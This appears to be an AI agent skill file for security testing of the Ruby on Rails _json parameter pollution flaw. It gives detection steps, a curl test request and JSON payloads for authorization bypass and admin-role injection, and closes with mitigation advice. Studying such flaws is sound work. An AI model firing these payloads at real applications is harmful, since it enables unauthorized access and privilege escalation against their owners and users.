Ruby JSON Pollution

Ruby _json Pollution Attack

A skill for identifying and exploiting the Ruby _json pollution vulnerability in Rails applications.

Overview

The _json pollution vulnerability occurs when Ruby on Rails applications handle non-hashable values (like arrays) in JSON request bodies. When such values are encountered, Rails stores them in a special _json key. Attackers can manually inject this _json parameter to bypass authorization checks or manipulate application behavior.

Vulnerability Mechanics

How It Works

1. Normal behavior: When Rails receives a JSON body with non-hashable values (arrays, etc.), it automatically stores them in a _json key
2. Attack vector: An attacker can manually include _json in the request body with arbitrary values
3. Exploitation: If the application checks one parameter for authorization but uses _json for actual operations, the check can be bypassed

Example Payload

{
  "id": 123,
  "_json": [456, 789]
}

In this case, the array [456, 789] would be accessible via the _json key in the Rails controller.

Detection

When to Test

• Any Ruby on Rails application with JSON API endpoints
• Applications that accept JSON request bodies
• Endpoints with authorization or access control checks
• Forms or APIs that process structured data

Detection Steps

1. Identify JSON endpoints: Find API endpoints that accept JSON in the request body
2. Check for parameter validation: Look for endpoints that validate specific parameters
3. Test _json injection: Add a _json key with test values to the request body
4. Observe behavior: Check if the application processes the _json parameter

Example Detection Request

curl -X POST https://target.com/api/resource \
  -H "Content-Type: application/json" \
  -d '{
    "id": 1,
    "_json": {"test": "pollution_detected"}
  }'

Exploitation

Authorization Bypass

If an application checks params[:id] for authorization but uses params[:_json] for the actual operation:

{
  "id": 1,  // User's own resource (passes auth check)
  "_json": [999]  // Target resource (used for actual operation)
}

Data Manipulation

Inject arbitrary data structures through _json:

{
  "action": "update",
  "_json": {
    "role": "admin",
    "permissions": ["read", "write", "delete"]
  }
}

Array Injection

Force array values into the parameter hash:

{
  "user_id": 123,
  "_json": [123, 456, 789]
}

Testing Checklist

• Identify all JSON API endpoints
• Map parameters used for authorization checks
• Test each endpoint with _json parameter injection
• Compare behavior with and without _json parameter
• Document any differences in application behavior
• Check for sensitive operations affected by _json

Mitigation Recommendations

For Developers

1. Explicit parameter whitelisting: Only allow specific parameters in controllers
2. Avoid relying on implicit parameter handling: Be explicit about what data is accepted
3. Validate all input: Check both explicit parameters and any _json keys
4. Use strong parameters: Leverage Rails strong parameters feature
5. Sanitize JSON input: Remove or validate _json keys before processing

Example Strong Parameters

def permitted_params
  params.permit(:id, :name, :email)
  # _json is not permitted
end

References

• Rails _json Juggling Attack - Nastystereo
• HackTricks - Ruby _json Pollution

Related Skills

• Consider using this skill alongside other deserialization testing skills
• Combine with general API security testing for comprehensive coverage
• Use with authorization testing skills for complete access control assessment